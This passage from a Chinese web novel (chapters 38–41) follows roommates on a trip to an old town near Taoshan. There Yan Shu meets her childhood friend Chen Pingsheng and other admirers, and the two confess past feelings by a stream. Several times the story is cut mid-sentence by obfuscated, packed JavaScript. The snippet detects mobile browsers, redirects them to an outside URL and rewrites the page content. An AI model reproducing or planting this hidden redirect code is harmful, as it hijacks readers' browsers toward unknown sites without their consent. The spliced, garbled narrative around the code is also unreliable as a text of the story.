身旁的男人和她一起站起,向燕舒微微弯腰,“你好,蒋琏。玉树的男朋友。” 燕舒也只得微微弯腰,“燕舒,玉树的室友。” 蒋琏是个十分礼貌得体的人,长相不算帅气,但中正,身侧高大挺括,如果不是提前知道对方是学计算机的,燕舒会以为他是警察。以为是呆板内敛的程序员,结果性格竟然算得上活泼。 几人一边吃一边在群里发消息,之前死水一潭的群在今天突然活跃了起来。 【李梦音:妈呀,全程好照顾,我认可了。】 【张悦:有一种很复杂的心情,】 【燕舒:哈哈哈】 …… 吃完饭后,几人一起走出火锅店,五人分为两路,向不同的方向迈步。 【李梦音:@钟玉树记得早点回寝室,夜晚大灰狼出没,会叼走小红帽】 …… “啊?你让我们和你们一起出去玩?” 听见寝室里的声音,燕舒和李梦音拿着牙刷转身对视,然后一齐走到门框边探出头。 钟玉树没有在校外夜宿,她的桌上放着一捧占据桌子一半面积的捧花,手上提着水果和小零食,瞧见燕舒和李梦音,她脸上露出腼腆又羞涩的笑,问:“吃宵夜吗?” 燕舒摇头,因为她已经刷牙了,嘴里的泡泡还没冲呢。 只不过,既然是烧烤,那就另当别论了。 “去哪玩?”李梦音最初是坚决不和情侣出门当电灯泡的,只不过在钟玉树“朋友”、“大家都是朋友”的反复劝哄中逐渐动摇。 “桃山,网上刷到满山桃花可漂亮了。山下的滨水古镇,看分享,没有过度商业化,古街古巷,很适合拍照。” “之前燕舒不是也说过我们什么时候有时间一起自驾游去桃山吗?”钟玉树看向燕舒,眼里是亮晶晶的期待。 燕舒咬了口手上的淀粉肠,记起来,之前陆寻春邀请她出去玩说过桃山,她当时就记下并且在寝室聊过,几人也说了说“有时间一定……”之类的话。 “桃山啊……”张悦低头用手机搜索,也有些心动。 “可是,感觉当你们的电灯泡真的很怪很尴尬。”李梦音继续重复这点。 “其实就是大家一起出门玩、看风景,别想着各自的身份。梦音,我真的很想和你们出去,一起郊游。” 见李梦音面色依旧犹豫,钟玉树神色黯淡下来,“我们上次寝室四人一起出门玩还是大一的时候,桃山四月开花很美,但每次都因为没时间太远没去,这次错过了就只能等大四了,那个时候你们还有时间吗?” 钟玉树朋友不多,寝室里的张悦三人就是她在大学最好的朋友,虽然寝室有过争吵,但更多时候是大家和谐相处制造出的快乐回忆。她想的很简单,在大学的美好记忆中不应该缺少她的三个室友。 李梦音舔了舔唇,她被说动了。 “你们要是真不想和他一起玩,要不然我让他别来,我们一起?”钟玉树又问。 “别!”张悦和李梦音齐声拒绝。 钟玉树的男朋友来找她往,因为她们导致小情侣在一起的时间减少,多少有些心虚。 “要不然这样?五个人太少,我们多凑几个,一起自驾去桃山,在滨水古镇住宿,我看网上说最近还有篝火晚会。”张悦将手机递给燕舒。 燕舒看了一眼,眨了眨眼睛。 “我把我弟叫来。”张悦继续道。 她已经在思考这趟旅程的人员配置和行程安排了。 “你弟?多少岁?亲弟?”李梦音问。 张悦抬头看了她一眼,“亲弟,十四岁,初二,生活能自理。” “哦。” “燕舒你呢?”张悦问。 “其实……我周末两天有事。” 这周工作太忙,陈平生也忙,但到底周末了,不论是因为母亲的叮嘱还是回报他母亲的礼物,既然她答应要带他在C市逛,她就不会食言。 “我知道!”李梦音作小学生举手状。 “她要和陈平生约会。” “你胡说什么呢?” “约会?” “陈平生?哦!” 张悦眼睛瞪大,一副恍然大悟的模样,“他来C市了,来追求你!” “难怪这些天,回寝室回得这么晚。啧啧。”张悦面露看透一切的微笑。 “什么呀!不是……” “别说了,你就说你是不是要周末和陈平生出去?” “是。”燕舒点头。 “男人重要还是姐妹重要?” “姐妹。” “那就抛弃他,和我们出去玩。”张悦一锤定音。 燕舒面露迟疑。 钟玉树疑惑发声,“燕舒,你可以带他和我们一起去桃山啊。都是在C市玩,而且相比于郊游夜宿古镇,C市市内的热门景点其实没什么好逛的。” …… 研究所。 夜深人静,走廊只剩下几盏散发出蓝色幽光的灯,微弱的光线投射在冷清的墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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突然,放在实验台上的手机屏幕亮起,发出一声轻微的震动,这声响打扰到他,他皱了皱眉,但当他点开消息,先是愣了一下,然后脸上露出笑容,没有收敛,十分得灿烂。 他很高兴。 【好】 【[小猫探头]】 【去哪都行】 墙上时钟的指针缓缓转动,发出滴滴嗒嗒的声响,陈平生等了好一会儿也没等到燕舒的回复。 手指触动屏幕,再回复: 【燕舒舒,晚安】 手机息屏。 有些累了,他双手撑在桌上,转动脑袋,身体发出一阵脆响,然后又点亮电脑屏幕,继续。 窗外的夜色浓得仿佛化不开,玻璃上倒映着实验室内的景象,仿佛另一个了世界,他独自一人在其中,蓝色的光让他的脸显得幽深又静谧。但仔细观察,他嘴角微微上扬,冷肃被笑消解,人显得温和。 …… 陆寻春躺在床上,手机亮着微光,他点进和燕舒的聊天界面,上滑再上滑,一来一往都那么礼貌却也疏离,她太忙,忙得没多少时间回复他的消息,哪怕回复,他们真正的聊天时间总是互相错开。甚至他从她的回复中窥见她对他的敷衍,她对他没有再探寻了解的想法了。 他轻轻叹了口气。 于是,陆寻春只能退出聊天界面,点开相册,翻找最近拍的照片,思考明天给燕舒发哪张,不能全露,显得太自得会油腻,得不经意间露…… 他很早就发现,只要他发这种的照片,她往往会很快回复,且回复的积极性和活跃度都会提高。 他没想凭借这些能直接将燕舒钓起,只希望她别溜太快。 39. 第 39 章 早上六点,一行人在C大校门口处集合。 七个人,钟玉树和蒋琏、燕舒和陈平生、张悦和她弟张扬,再加上谁都没带的李梦音。七人兵分两路,租了两辆车。 在张悦的有意安排下,燕舒两人和钟玉树两人坐一辆车,张悦则开车带着李梦音,一前一后地出发。 刚开始,车上四人都有些局促和沉默。不过几人到底不是木讷性子,一人先开口,其余人也会跟上,有意烘托车内的热闹氛围。 聊了几句,蒋琏便知晓了陈平生与燕舒两人的关系和他与玉树相似,青梅竹马,只不过他这边是幸运美满的,陈平生那却不是,他看得出,陈平生喜欢燕舒,是不需要刻意观察的那种喜欢,而燕舒却没有任何反应。 两人之间有隔膜。 如果按照电视剧情节,那么车上的其他两人应该为此助攻,可惜蒋琏一向不喜欢多管闲事,而钟玉树则想要说些什么,但嘴苯。 蒋琏抽出两瓶矿泉水递给后排,“玉树,路程挺远,你们起太早,睡一会吧。” 滨水古镇在C市郊外,而C大在市中心,开车过去要三个小时多,他们计划在十点或十一点到,那么早上七八点就要出发,于是起床的时间就更早了。 燕舒接过水,“谢谢。” 她坐在蒋琏后方,刚好能看见副驾驶位置上的陈平生,他今天来时穿了一身蓝色针织衫,下半身是黑色工装裤,背着一个红色的书包。穿搭简洁,并不繁复,只不过依旧十分吸睛。 看见燕舒,他招手向她跑来,笑容灿烂。 看见他的第一眼,第一感觉应该是“这是一个没有阳光照射也给人阳光灿烂的人。” 原话是燕舒给李梦音看陈平生照片时李梦音对其的评价,燕舒对此的回复是:“错觉。” “太阳灼人也很疼。” 透过后视镜,陈平生能看见燕舒在观察他,不过这并不让他高兴,因为或许是背后看人的原因,她此时并不遮掩伪装,目光很平静,平静到让他感觉到一股难以接受的冷淡。他微微侧头,她与他对视,然后微微弯了弯唇角,闭上了眼睛。 她休息了。 “纪哥,还不睡?” 周兆鹏从床上爬下给平板充电,屏幕亮起,显示:08:54。 窗外,天空明朗,阳光斜斜地从阳台照进寝室。 纪佳时坐在椅子上,对周兆鹏的胡言乱语不为所动,因为很明显,对方又熬夜通宵了,这是他们的惯常作息。 当然,这个他们不包括白榆,因为他不在,周五上完课就回家了。 ——唰! 对面,程云的窗帘被拉开,他坐起,和周兆鹏如出一辙的疲惫面孔和沧桑眼神显示着熬夜对身体的侵害,他侧身低头看对面床下坐着的纪佳时,问:“怎么回事,我六点多就听见你起床了,洗漱完了怎么就一直坐着发呆?” 最近一个教授安排了一个论文课业,程云以为纪佳时早上起来偷偷卷,于是特意小心拉开窗帘借着缝隙观察,结果发现纪佳时什么都没做,只是坐在座位上看手机。 他松了口气。 “对啊,纪哥,周末怎么不和你那个学姐出去约会?”周兆鹏趴在桌上,随口一问,跟着程云附和显示自己对室友的关心。 他们没看见,纪佳时背对着他们的脸色越来越沉,但却感受到他周身也散发出“闲人勿扰”的森森冷气,两人嘻嘻哈哈的笑闹声慢慢降低。 纪佳时在生燕舒的气。 因为她在玩弄他。 也在生自己的气。 因为自己已经看出这个事实却不做任何挣扎,连愤怒都要反复思考“确定吗?” 放任他的靠近,却不给任何绝对的承诺和保证,主动对他亲近,却在两天后又冰冷地远离。 最重要的是,她带那个人去旅行,而不是和他。 他嫉妒的发狂,从看到消息的那一刻心脏就浸泡在冰水中,被冻得痛苦、缓慢,心脏缓缓跳动,显示着他的存活。 手指也被冻得僵硬,慢慢弯曲。 【阿舒,我好想你……】 【[可怜]】 【我不开心。】 【学姐,我好想见你】 【燕舒,我不开心,我嫉妒得发狂。】 …… 他不知道她看见了吗?或者是看见了但不回复。懒得或是不屑。 他觉得或许是不屑多一点。 纪佳时没有安全感,因为燕舒从没给予他过。前几天,他被她稍微一亲近整个人就宛如掉进了蜜糖罐,只想着品尝甜蜜,却没想过如何从罐子中爬出。现在,他意识到自己被困在罐子中,有些生气,却没想逃,只是渴望更多甜蜜。 想着想着,纪佳时忽地站起身,他想他得去找燕舒。坐在这自怨自艾算什么? 他想见她,那就去见她。 想要,就去争夺。 他不认为自己会输。 “我要去找她。”纪佳时轻声道。 “这个xx真xxxxxxx,我真服了。会不会打!”周兆鹏口吐芬芳,然后抬头看着从自己身旁走过的纪佳时,问:“什么?” “什么找茬?你要找谁茬?” …… “前面就是滨水古镇了。”陈平生道。 他坐在副驾驶上,透过挡风玻璃望去,远处一片青灰色的建筑群依山而建,显得十分静谧,但背后的山却披着一层粉红的薄纱,虽然只是覆盖在一片绿意上的薄纱,但明艳非常,打破了古旧屋瓦的沉寂与宁静。 桃山、滨水古镇早在三月初就在网上爆火了,今天又是周末,所以路上车辆很多,方向一致。 钟玉树趴在车窗上感叹说:“幸好早上就出发了。” 要是再晚一点估计就要堵路上了。 10:43。 燕舒四人先到达了滨水古镇,等了十多分钟后,张悦三人也到了。 张悦是这次行程的总规划师,大到出行路线小到住哪家民宿和吃什么饭她都做了详细的规划,并且写了一份策划书。 “我们先去民宿踩下点吧。我提前预定了房间,不合适好及时换。”她说。 “好。”大家同意。 镇上,人意外的多,可以想象午饭过后街上的热闹。青石板的地面有被磨得温润的地方,也有被泥垢遮盖的地方,街道两旁是错落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127015|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有致的古建筑,但有的明显是商业流水线制造,有的虽然保留了原生的古朴但内里太过现代,使整体割裂。路过的店铺门已大敞,门口还特地支起了个小摊,将店里的手工艺品、小吃、地方特产摆出来吸引顾客购买。 燕舒目前看来,这个滨水古镇和自己去过的很多古镇都没什么区别,不过并没有太过失望,因为早有预料。 陈平生走在人群后面,和身旁的蒋琏有一搭没一搭地聊着,前面四个女生手挽手地走在一起。 刚开始聊的是各自的工作,陈平生礼貌应付,后面逐渐偏向对自己青梅的情感,陈平生神色明显认真了许多。 说到钟玉树,蒋琏眉眼弯弯,“她从小就跟在我身边,跟屁虫似的,很缠我,我一直把她当妹妹。” “就是,邻居家的小妹妹。” 陈平生点头,心想,一样,只不过,燕舒是邻居家的暴躁、冷酷、邪恶、会扒他裤子的妹妹。 他们打小就不对付。 “不过,我初高中就因为学业的问题没和她有太多联系,只知道她对我忽然变了态度,有些疏远,以为是长大了的常态,无论什么关系都会如此,直到这几年又接触,才知道是因为喜欢。”蒋琏摇头笑笑。 “为什么喜欢一个人就要疏远他呢?”问话的不是陈平生,而是张悦的弟弟张扬,他拖着行李箱走在陈平生两人身旁,行李箱里是张悦的各种东西。 张扬十四岁,初高中的正常身高,在陈平生身边显得有些矮小,没有戴眼镜,脸上神色变幻得很明显,是个和名字一样活泼的性格。此刻,他问出这句话,脸上也露出疑惑和若有所思的模样。 “性格吧,有些人遇见喜欢的人第一反应是远离。” “好吧,我不理解。”张扬耸肩。 “琏哥。”钟玉树的声音。 蒋琏指了指,快步往前走到钟玉树身边,两人紧挨着,自然地双手交握。 陈平生看向燕舒,她被两个女生围在中间,没有回头看过他一眼。 心微微失落。 “你喜欢燕舒姐姐?”张扬是今天第一次见他姐的室友,但听他的语气似乎和其他三人很熟了似的。 陈平生挑眉。 “你现在很失落,很不开心。” 陈平生皱眉。 “这么明显吗?”他问。 “第一,你的情绪都反应在你的表情上,例如,你刚刚和那个哥聊天的时候,脸上就轻微的不耐烦;第二,嘿嘿,车上我姐和那个李梦音姐姐一直在聊你们。”张扬笑嘻嘻道。 “聊的什么?”陈平生微微低头。 张悦很靠谱,她选的民宿也很靠谱,几人在院楼内逛了逛,然后敲定付款。 “我们女生住这边,你们住对面吧。至于张扬,你们看谁能收留一下他,我觉得他不值得我浪费钱再订一间。” “我和生哥住一间!” 以为张扬又要叽叽喳喳地闹,结果竟然看他直接将陈平生的手臂揽在自己的肩上,哥俩好一样。 张悦懵了。 生哥? 陈平生? 这俩人什么情况。 燕舒歪了歪头。 40. 第 40 章 陆寻春站在店铺里,这是一家挂着民族非遗传承的银饰店,两个老板一男一女都是少数民族,穿着特色服饰,手上带着的银饰随着他们的动作发出轻微又明亮的声响,男人在店铺最里面坐着低头做作品,女人站在店中向进来的客人介绍她的商品。 店里人不多,加上陆寻春只有六个人,他低头走过左边的一排商品,最后停在一个造型独特的手镯面前,相比于一般银手镯的简洁、细窄,这个手镯很宽大,一片片不规则的镂空叶片相连,既有艺术感的华丽却又因为过于宽大而变得简约和随性。 他觉得她可能会喜欢。 手镯放在黑色木台上,价格标签立起,陆寻春买东西很爽快,他想要就会买,不想要的东西连看都觉得浪费时间。 “老板……”他侧身,刚刚在一旁坐着打磨银饰的男老板不见了,座位后面的小门门帘晃荡。 陆寻春只能再转身去找女老板,视线缓缓从店铺扫过转到门口,然后和对面刚刚从民宿小院走出的女生对上了视线。 他握着手镯的手微微用力。 陈平生站在燕舒身后,几人民宿踩点完毕就准备出门吃饭,毕竟已经中午十一点了,只是几人刚刚踏出小院的门槛,他就看见燕舒停在了门口,直愣愣地盯着对面,顺着她的视线看过去,他也看见了店里那个也直愣愣发呆的男生。 人是很敏锐的直觉动物,何况两人的对视那么明显。 陈平生看向那人的目光带上了既隐晦又尖锐的敌意。 看见陆寻春的第一眼,燕舒有些讶异和惊讶,她没想到两人真的会一起出现在桃山,可能真的是缘分使然吧。 “燕舒。”陆寻春声音不大不小,刚好让对面张悦几人听见,也顺着声音看了过去。 相比于纪佳时和陈平生的精致长相,陆寻春的长相略显稚气,却也显出其温和和清秀的气质,和他高大的身材产生了明显的反差。 他笑着,如沐春风,将手上的东西交给女老板,道:“帮我装起来,谢谢。”说着便抬脚向对面的燕舒走去。 “部长?”钟玉树此时也从院门口走出,看见陆寻春惊讶出声。 燕舒微微侧身,挑了挑眉。 陆寻春穿过街道走到几人面前,他先是扫过他们,然后将目光落到燕舒脸上,纤长的睫毛颤动,“好巧。” 燕舒点头,脸上表情有些尴尬,因为这些天她已然将陆寻春忘了,每天看他消息纯粹是看照片,有些把他当网上的免费分享男博主看待,结果今天就线下面基了。 该表现出“认识而已”还是“非常熟”呢? 陆寻春的目光又移向钟玉树,不过很明显,两人是真的不太熟,因为陆寻春叫对方名字时慢了半拍。 “玉树?” 钟玉树在大一时加了个射箭俱乐部,不是因为爱好,只是为了学分,在男女混组射箭比赛中和陆寻春搭档过,一直到大二。大一到大二,钟玉树只是群里潜水、参加活动时摸鱼的小小成员,但她的搭档陆寻春却已经成为了俱乐部的部长。两人属于认识但不熟,加了好友,但上次聊天已经是半年多以前,见面次数也不多。不过,钟玉树对这位搭档兼部长印象很深,因为对方在射箭活动时表现极为出彩,魅力十足、光彩四射。 偶然相遇,同学校同年级,还与团队里的两个人相识,于是张悦和李梦音等人也各自做了自我介绍。 陈平生很沉默,直到张扬扯了扯他的袖子,他不得不结束沉默。 他抬眼看向站在燕舒对面的男生,扯了扯嘴角,“陈平生,燕舒的……” 他是她的什么呢? 陈平生感到烦躁,他不得不承认一件事,他之前有些太自大了,以为女孩还是那个女孩,他们还是那个他们,争吵、冷战、闹别扭不过都是相处中的一些小摩擦,只要他道歉,他们就会再次和好如初。 她是有点喜欢他的,所以他有些骄傲和骄纵。 然后现实狠狠给了他一耳光。 她成长了、长大了,她有自己的骄傲与自矜,鄙视他的骄纵与狂妄,冷冷地凝视他。 她有很多人喜欢,她不喜欢他了,甚至有点讨厌他,更不再和他玩那个和好如初的游戏了。 陈平生不知道该在“燕舒的”这句话后面加什么词,第一次面对纪佳时嚣张又挑衅地说出“哥哥”时的勇气已经在这些天的反思下逐渐消失,更是在此刻感到一种空前地无措与心惊。 陈平生是不屑于观察其他人的情绪的,很多事他知道应该怎样做更好,但他也不在乎这个好与不好的评价,比如在研究所,他应该温和一点、平易近人一点,他知道那些人不喜欢他的高傲与坏脾气,但他不屑于听从。但对于燕舒的情绪,他是既细致且敏感的,当手链送出他的脑中就响起了警报,但他刻意隔绝那声音,忽略所有,因为他还认为,他们还是从前的他们。 陈平生看向燕舒,他不知道该怎么说了。 “朋友。” “朋友?” 只是燕舒的朋友? 陆寻春面上的笑容不变,心中却升起一股怪异感。人的关系是一种很微妙的状态,但敏感的人一眼就可以看出某两个人之间的状态如何,比如办公室恋情,有些人迟钝到两人在她面前牵手她都无知无觉,而有些人只观察两人的对视就可以瞬间做出结果的判定。 而陆寻春并不迟钝。 他判断,燕舒和这个叫陈平生的人关系非同寻常,既熟悉又疏离。不过,他内心松了口气,不是男女朋友关系就好。当他看见对方以保护姿态靠近燕舒站在她身旁,而她对此没有任何不适时,他心中瞬间咯噔了一下。 “部长,一个人来玩吗?”钟玉树问。 “不是,参加我室友的婚宴。” “婚宴?”李梦音惊讶,“这么早结婚?” 陆寻春解释:“他和他女朋友青梅竹马,家中长辈都认识,他们感情很好,所以想早点结婚。” 又是青梅竹马,这四个字似乎是这几天的高频词汇,并且也是敏感词,不同的人听了各自表现出不同的反应。 蒋琏和钟玉树相互对视,甜蜜微笑。 燕舒神色自然,微微笑着,像是在认真倾听陆寻春说些什么。 陈平生略微不自然地扯了扯唇角,眉头微皱,眼神黯淡。 李梦音和张悦两人则眼神乱转,怪异得明显。 陆寻春将这些都尽收眼底,嘴角的笑意略微收敛。 又聊了几句,几人最终分开,时间已是正午,该吃饭了。陆寻春想珍惜和燕舒在一起的每一分每一秒,可到底是室友的婚宴,他不能离开,但也不可能将燕舒几人带进去,不说室友那边同不同意,就说七个人出几份份子钱参加一场周边全是陌生人的宴席,恐怕他们也不会特别愿意。 两方人往两个方向走,忽地,陆寻春顿住脚步,转身,回到那个银饰店门口。 “老板,刚刚那个手镯呢?” “我们明天一早爬桃山,今天下午的时间就在滨水古镇玩,七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127016|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人聚着太麻烦,要顾忌这顾忌那的,大家就各自分开,想去哪玩去哪玩,六点集合吃晚饭,然后晚上参加篝火晚会,听说还有节目表演看。”吃完午饭,张悦做出安排。 不用说,钟玉树和蒋琏牵着手离开了。 剩下五人眼对眼,张悦提着她弟的后脖颈和李梦音也走了,两人说要回民宿休息一下再补下妆,让燕舒和陈平生两人先逛,她们之后再来。 “姐,别掐我。”张扬张牙舞爪地挣扎。 于是,嘴也被捂住了。 时间已是下午一点,滨水古镇的古巷街道上已满是游客,燕舒和陈平生肩并肩走在路上,谁都没有说话。 忽然,两人站在街角的转弯处,一个小男孩从另一边冲出,他拿着一把塑料宝剑,没看前方,笑嘻嘻回头对身后孩童大喊:“追不到!追不到!” 他冲得太突然,燕舒刚好站在他前方,两人眼看就要撞上,陈平生伸手揽住燕舒的肩将她揽进怀中,两人对视,燕舒移开视线,道:“谢谢。” “没事。”声音很低。 他松开抱着她的手,燕舒后退一步。 “哇哇哇哇……”小孩的哭声响起。 两人侧身回头,只见刚刚那个男孩已经摔倒在地,哇哇大哭,因为他刚好倒在两人身旁,所以路过的人纷纷对两人投注责怪、不喜的目光。 在身后追逐他的其他小孩有些无措地停步站定。 按照以往,如果遇见这种情况,陈平生不会管,直接离开,因为他并不在意别人的目光,无论是赞许或是憎恶,但今天燕舒站在他身边,他受不了他人对她的那些眼神。 他们有什么资格对她不喜? 就算是她真的推了这小孩,在他心里也没错。 总之,燕舒没错,也不会做错事。 他眼神沉了下来,迈步站到小孩的面前,高高在上俯视,语气不耐:“哭什么哭?自己横冲直撞摔倒了有什么资格哭?把大街当你家客厅?” 哭声一瞬消失。 小孩呆呆地望着面前高大的男人,露出想哭又忍住不敢哭的模样。 “站起来!” 他捡起地上的宝剑迅速站起身,拍了拍屁股。 “你家长呢?都不管你的吗?” 小孩低下了头,脑袋左右转动,然后瞧见一旁的另一条狭窄小路,又跑了。被一动训斥僵硬站定的其他小孩瞧见后,也惊叫着跟随他跑了。 陈平生皱眉转回身,看见燕舒正对面歪头看着他,脸上露出这些天见面以来次数极少的真实笑意。 “其实,刚刚就算他撞上来,摔倒的也一定是他。”燕舒的身体很强健,她并不是个风吹就倒的身子。 “哦,我只是下意识。”陈平生回答。 他只是下意识地想保护她,就像她曾经保护他一样。 在小时候,小小的陈平生就显露出讨人嫌的性子,被共同讨厌、针对,即使小孩子手段稚嫩,但还是会伤到人。老师的管束往往是无效的,甚至算得上火上浇油,维持一段时间的表面平淡后迎来的是更猛烈的反扑。 “喜欢向老师告状的告状精。” “讨厌鬼!” 即使,小小的陈平生不屑于找老师告状。 他说:“懒得理他们,一群蠢货。猪。” 燕舒:“你才是猪。” 下课,燕舒从隔壁班搬了椅子坐到他身边。 他问:“你干嘛?” 燕舒:“保护你。” 41. 第 41 章 1:45,纪佳时开车到达滨水古镇。 开车四小时,被堵在路上了一个小时,早上只喝了杯豆浆,此刻,他的面容显出了些疲惫。找停车位又费了些许时间,于是两点时,他才正式踏入滨水古镇。 他没有给燕舒发消息,因为有些忐忑,他这样算跟踪她吗?会不会显得占有欲太强烈? 各种想法在脑海中闪现,总之,纪佳时选择什么都不发,他想滨水古镇就这么小,甚至桃山也不大,他们会遇见的。 下午的古镇熙熙攘攘,街道上人头攒动,纪佳时走在其中因为俊逸的样貌和高挑挺拔的身材显得极为出挑,特别是,他只一个人,身边没有旁人。有人想上前搭讪,但奈何纪佳时走得太快,他目标明确地扫视四周,然后继续往前。 路过小巷,一群小孩子拿着木剑分成两方阵营,将一个较高的小男孩和一个小女孩围在中间,纪佳时听着他们说“坏蛋”、“反击”之类的话,有些判别不出到底是在玩还是在搞小团体霸凌,于是停住脚步,转身看过去,脸上挂着笑容道:“不能仗着人多欺负别的小朋友哦。” “哥哥,我们在玩。”小女孩抓住身旁男孩的衣服往后退了退,又将身子探出,轻声道。 “好。”纪佳时点头,转身离开。 穿过小巷,对面是一座融合了中西建筑风格的独特教堂,教堂的主体结构依旧是西式建筑的对称布局,高耸的尖顶直指苍穹,十字架在阳光下熠熠生辉,但屋顶覆盖着的是青灰色的筒瓦,瓦上还雕刻着传统的祥云纹样。 这是滨水古镇的圣母玛利亚教堂,是十九世纪时期,一位外国传教士在此地传教修建的,十几年前被列为保护景点,纪佳时记得小时候在里面逛过,内部的天花板上也绘制着传统的祥云图案,墙上壁画的圣母玛利亚服饰甚至也带着几分汉服韵味。 院门口的铁门开着,但只是一个刚刚容人通过的缝隙,而教堂的门紧闭,三三两两的游客在外围逛着,然后走出院门。 观赏了一会,纪佳时抬脚离开,他要去爬桃山偶遇燕舒。 教堂后,种着一片竹林,青砖白缝的墙壁与翠绿竹枝中间才是仅供人通过的小路,午后,阳光透过竹叶的缝隙在青砖墙上投下一片斑驳的光影,着光影也洒落在燕舒脸上,风吹,竹枝摇动,脸上的光斑也飘摇而动。 陈平生的目光落在她的脸上,不肯移动。 对方的视线太炽热,燕舒停住脚步,侧头看他。 但陈平生的目光又从她脸上移开,转而盯着她身旁的墙面,燕舒也顺着他的目光看去,只见青砖墙上两人的影子重叠在一起,亲密无间。 燕舒迈步向前,两人的影子也就此分开。陈平生呆愣了一下,看着她的背影,脸上露出失落与茫然。 他的勇往直前、大胆肆意来自于他的自信与无知鲁莽,但当一切都想通,都看明白,反而变得胆怯和犹豫。 因为,他们既不是完全陌生,又不是完全熟悉。只不过,这么多年,他一直都以前一种模式和她相处,而现在才清醒,原来少年少女已在不同的人生道路上走了许久,他们已经是熟悉的陌生人了。 她在前面走着,他在后面跟着,影子交错,又分开。 两人走到教堂门口,顶部的十字架在地上投射出斜斜的阴影。燕舒忽地停住脚步,转身看向身后的人。 她还是心软了,因为想到了小时候的事,小时候她说出的诺言。 “陈平生,你知道我现在讨厌你吗?”她不想成为那些小时候孤立他的人那样的存在,可又无法将心中那些情绪完全磨灭一空,干脆破罐子破摔。 长痛不如短痛。 她也很不喜欢他的沉默。 陈平生面上表情先是一愣而后恢复平静,嘴角轻颤,扯出一抹苦笑,他摇头,直白道:“不知道。” 有点预感,但不信。 朋友之间闹情绪、闹矛盾都会说:“我讨厌你!” “我再也不理你了!” “我们绝交!” 语言再尖锐一点会说:“我恨你。” 可他们之间从来不会说一点伤人的话,因为燕舒是个非常心思细腻且敏感善良的人,而陈平生则是不会对燕舒说。 他们只会默契地互相不理,然后再等另一个人自然地靠近破冰,这个人多数时候都由陈平生扮演。但这次,闹得太久,版本更新,还在旧版游戏里的玩家找不到“end”的通关按钮了。 燕舒笑了笑,没有再说,走出院门。 陈平生有些浑浑噩噩跟在她身后。 他们走过一个又一个街道,甚至还遇见了钟玉树和蒋琏,两人紧握着手站在一处景点前脸贴脸照相。 天色昏黄,古镇的灯火次第亮起,余晖照耀,蜿蜒的小溪上金色在流淌。燕舒和陈平生沿着青石板路漫步,慢慢远离人群拥挤处,不知不觉走到了溪边,溪水潺潺,在石缝间蜿蜒。远处是绿林石桥,人很少。 燕舒轻巧地跳上溪水上错落有致的石梯,风缓缓,水声潺潺,此刻她的心很是宁静。相比于在热闹的商业古街逛,她更喜欢贴近自然的地方,山水没有被刻意雕刻,质朴自然。林间鸟叫清脆,燕舒心情愉悦,脸上出现笑容,她忽地转身,身后陈平生也停住,他们各站在一块石头上,距离近得能听见彼此的呼吸。 “燕舒……”陈平生嗫嚅,想说又迷茫的不知该说些什么好。 远处传来古镇的喧嚣声,却仿佛隔着一层薄纱,变得模糊而遥远。溪水在脚下流淌,倒映着岸边的灯火,将他们的身影拉的很长。 “我高中的时候喜欢过你。”燕舒看着陈平生,面容平静,喜欢这两个字说出口对她来说并不值得害羞与忐忑,那么淡然。 陈平生垂在身旁的手握成了拳,他觉得很荒谬,喜欢的人在他面前说也喜欢他,但他此刻心里没有半点欢喜,反而充满着不安与难过,因为他听到了喜欢的期限:“高中”。 他错过了。 现在,她已经不喜欢他了,她说,她讨厌他。 “但,你没有回应我的喜欢,陈平生,你在逃避我。”燕舒继续道。 他们见面次数不多,甚至陈平生大学后,他们只能靠网上聊天和视频联系,时间一长,频率也越来越低,最后,燕舒删了他。 陈平生摇头,“不、我……” 是他太迟钝。 见他慌乱,燕舒又笑了,她踩到他的石梯上,贴近他,“逗你玩呢,陈平生,其实我没有向你表明过我的喜欢,你很好,很优秀,很明亮,我喜欢你就像在喜欢一张贴在学校红榜上的照片一样,但我又确实喜欢你。” “只不过,你确实疏远我了,我察觉到了,所以很生气,我想是不是你察觉到我的喜欢觉得我不配,你不喜欢我,所以远离我?” “我喜欢胡思乱想,所以,我越想越生气。越想越讨厌你。” “不是的!”陈平生大声辩驳。 他胸膛起伏,呼吸沉重,明亮的目光将她缠绕。 “燕舒,我喜欢你,我最开始并不明白,只觉得和你待在一起很别扭、很紧张,甚至不敢靠近你,到后面我都在思考我是不是疯了,竟然会讨厌你、不喜欢和你在一起,所以我开始逃避。” 燕舒静静地听着。 “逃避可耻,但有效,因为我安抚住了我心里那些莫名的情绪。” “可后来,我明白了,原来这是因为喜欢,我喜欢你所以无法再以朋友的身份待在你身边,看着你,脑袋里各种想法,会紧张、会不安、会惶恐,也会甜蜜。可我又和你冷战太久,久到我都不知道该如何面对你。” “我向你表达喜欢,你会接受吗?” “我们会不会,不仅回不去从前,更连现状都维持不下去?” “连朋友都做不得。” “于是,我又逃避了。” “我想,我还需要时间,等我成长得更好,再靠近你,再向你表达喜欢,那时你会不会接受我的喜欢。” 可惜,他想错了。 她喜欢时,他逃避错过,明白后为时已晚。 